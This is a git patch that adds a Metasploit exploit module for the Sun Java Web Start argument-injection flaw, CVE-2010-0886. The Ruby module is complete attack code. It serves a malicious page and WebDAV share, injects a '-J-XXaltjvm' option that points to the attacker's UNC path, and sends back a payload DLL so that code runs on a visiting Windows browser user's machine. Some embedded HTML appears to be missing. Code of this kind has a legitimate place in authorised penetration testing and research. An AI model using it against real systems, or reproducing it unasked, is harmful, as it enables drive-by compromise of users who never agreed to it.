From bc68b7d92ece9c184e8891273d0e122fad0a1123 Mon Sep 17 00:00:00 2001 From: Joshua Drake Date: Fri, 16 Apr 2010 08:08:40 +0000 Subject: [PATCH] fix name git-svn-id: file:///home/svn/framework3/trunk@9097 4d416f70-5f16-0410-b530-b9f4589650da --- .../browser/java_ws_arginject_altjvm.rb | 325 ++++++++++++++++++ 1 file changed, 325 insertions(+) create mode 100644 modules/exploits/windows/browser/java_ws_arginject_altjvm.rb diff --git a/modules/exploits/windows/browser/java_ws_arginject_altjvm.rb b/modules/exploits/windows/browser/java_ws_arginject_altjvm.rb new file mode 100644 index 0000000000..a1db1b780b --- /dev/null +++ b/modules/exploits/windows/browser/java_ws_arginject_altjvm.rb @@ -0,0 +1,325 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + # + # This module acts as an HTTP server + # + include Msf::Exploit::Remote::HttpServer::HTML + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Sun Java Web Start Plugin Command Line Argument Injection', + 'Description' => %q{ + This module exploits a flaw in the Web Start plugin component of Sun Java + Web Start. The arguments passed to Java Web Start are not properly validated. + By passing the lesser known -J option, an attacker can pass arbitrary options + directly to the Java runtime. By utilizing the -XXaltjvm option, as discussed + by Ruben Santamarta, an attacker can execute arbitrary code in the context of + an unsuspecting browser user. + + This vulnerability was originally discovered independently by both Ruben + Santamarta and Tavis Ormandy. Tavis reported that all versions since version + 6 Update 10 "are believed to be affected by this vulnerability." + + In order for this module to work, it must be ran as root on a server that + does not serve SMB. Additionally, the target host must have the WebClient + service (WebDAV Mini-Redirector) enabled. + }, + 'License' => MSF_LICENSE, + 'Author' => 'jduck', + 'Version' => '$Revision$', + 'References' => + [ + [ 'CVE', '2010-0886' ], + [ 'OSVDB', '63648' ], + [ 'BID', '39346' ], + [ 'URL', 'http://archives.neohapsis.com/archives/fulldisclosure/2010-04/0122.html' ], + [ 'URL', 'http://www.reversemode.com/index.php?option=com_content&task=view&id=67&Itemid=1' ] + ], + 'Platform' => 'win', + 'Payload' => + { + 'Space' => 1024, + 'BadChars' => '', + 'DisableNops' => true, + 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" + }, + 'Targets' => + [ + [ 'Automatic', { } ], + [ 'Java Runtime on Windows x86', + { + 'Platform' => 'win', + 'Arch' => ARCH_X86 + } + ], + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Apr 09 2010' + )) + + register_options( + [ + OptPort.new('SRVPORT', [ true, "The daemon port to listen on", 80 ]), + OptString.new('URIPATH', [ true, "The URI to use.", "/" ]), + OptString.new('UNCPATH', [ false, 'Override the UNC path to use.' ]) + ], self.class) + end + + + def auto_target(cli, request) + agent = request.headers['User-Agent'] + + ret = nil + #print_status("Agent: #{agent}") + # Check for MSIE and/or WebDAV redirector requests + if agent =~ /(Windows NT (5|6)\.(0|1|2)|MiniRedir\/(5|6)\.(0|1|2))/ + ret = targets[1] + elsif agent =~ /MSIE (6|7|8)\.0/ + ret = targets[1] + else + print_status("Unknown User-Agent #{agent} from #{cli.peerhost}:#{cli.peerport}") + end + + ret + end + + + def on_request_uri(cli, request) + + # For this exploit, this does little besides ensures the user agent is a recognized one.. + mytarget = target + if target.name == 'Automatic' + mytarget = auto_target(cli, request) + if (not mytarget) + send_not_found(cli) + return + end + end + + # Special case to process OPTIONS for / + if (request.method == 'OPTIONS' and request.uri == '/') + process_options(cli, request, mytarget) + return + end + + # Discard requests for ico files + if (request.uri =~ /\.ico$/i) + send_not_found(cli) + return + end + + # If there is no subdirectory in the request, we need to redirect. + if (request.uri == '/') or not (request.uri =~ /\/([^\/]+)\//) + if (request.uri == '/') + subdir = '/' + rand_text_alphanumeric(8+rand(8)) + '/' + else + subdir = request.uri + '/' + end + print_status("Request for \"#{request.uri}\" does not contain a sub-directory, redirecting to #{subdir} ...") + send_redirect(cli, subdir) + return + else + share_name = $1 + end + + # dispatch WebDAV requests based on method first + case request.method + when 'OPTIONS' + process_options(cli, request, mytarget) + + when 'PROPFIND' + process_propfind(cli, request, mytarget) + + when 'GET' + process_get(cli, request, mytarget, share_name) + + when 'PUT' + print_status("Sending 404 for PUT #{request.uri} ...") + send_not_found(cli) + + else + print_error("Unexpected request method encountered: #{request.method}") + + end + + end + + # + # GET requests + # + def process_get(cli, request, target, share_name) + + print_status("Responding to \"GET #{request.uri}\" request from #{cli.peerhost}:#{cli.peerport}") + # dispatch based on extension + if (request.uri =~ /\.dll$/i) + # + # DLL requests sent by IE and the WebDav Mini-Redirector + # + print_status("Sending DLL to #{cli.peerhost}:#{cli.peerport}...") + + # Re-generate the payload + return if ((p = regenerate_payload(cli)) == nil) + + # Generate a DLL based on the payload + dll_data = Msf::Util::EXE.to_win32pe_dll(framework, p.encoded) + + # Send it :) + send_response(cli, dll_data, { 'Content-Type' => 'application/octet-stream' }) + + else + # + # HTML requests sent by IE and Firefox + # + my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] + + print_status("Sending HTML to #{cli.peerhost}:#{cli.peerport}...") + + if (datastore['UNCPATH']) + unc = datastore['UNCPATH'].dup + else + unc = "\\\\" + my_host + "\\" + share_name + end + jnlp = "-J-XXaltjvm=" + unc + " " + rand_text_alphanumeric(8+rand(8)) + ".jnlp" + docbase = "" + + html = %Q| + + + + + + + + +| + + send_response_html(cli, html, + { + 'Content-Type' => 'text/html', + 'Pragma' => 'no-cache' + }) + end + + end + + # + # OPTIONS requests sent by the WebDav Mini-Redirector + # + def process_options(cli, request, target) + print_status("Responding to WebDAV \"OPTIONS #{request.uri}\" request from #{cli.peerhost}:#{cli.peerport}") + headers = { + #'DASL' => '', + #'DAV' => '1, 2', + 'Allow' => 'OPTIONS, GET, PROPFIND', + 'Public' => 'OPTIONS, GET, PROPFIND' + } + send_response(cli, '', headers) + end + + + # + # PROPFIND requests sent by the WebDav Mini-Redirector + # + def process_propfind(cli, request, target) + path = request.uri + print_status("Received WebDAV \"PROPFIND #{request.uri}\" request from #{cli.peerhost}:#{cli.peerport}") + body = '' + + if (path =~ /\.dll$/i) + # Response for the DLL + print_status("Sending DLL multistatus for #{path} ...") +#45056 + body = %Q| + + +#{path} + + + +2010-02-26T17:07:12Z +Fri, 26 Feb 2010 17:07:12 GMT +"39e0132-b000-43c6e5f8d2f80" +F + +application/octet-stream + +HTTP/1.1 200 OK + + + +| +=begin + # We don't have these things + elsif (path =~ /\.manifest$/i) or (path =~ /\.config$/i) or (path =~ /\.exe/i) + print_status("Sending 404 for #{path} ...") + send_not_found(cli) + return +=end + elsif (path =~ /\/$/) or (not path.sub('/', '').index('/')) + # Response for anything else (generally just /) + print_status("Sending directory multistatus for #{path} ...") + body = %Q| + + +#{path} + + + +2010-02-26T17:07:12Z +Fri, 26 Feb 2010 17:07:12 GMT +"39e0001-1000-4808c3ec95000" + +httpd/unix-directory + +HTTP/1.1 200 OK + + + +| + + else + print_status("Sending 404 for #{path} ...") + send_not_found(cli) + return + + end + + # send the response + resp = create_response(207, "Multi-Status") + resp.body = body + resp['Content-Type'] = 'text/xml' + cli.send_response(resp) + end + + + # + # Make sure we're on the right port/path to support WebDAV + # + def exploit + if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/' + raise RuntimeError, 'Using WebDAV requires SRVPORT=80 and URIPATH=/' + end + + super + end + +end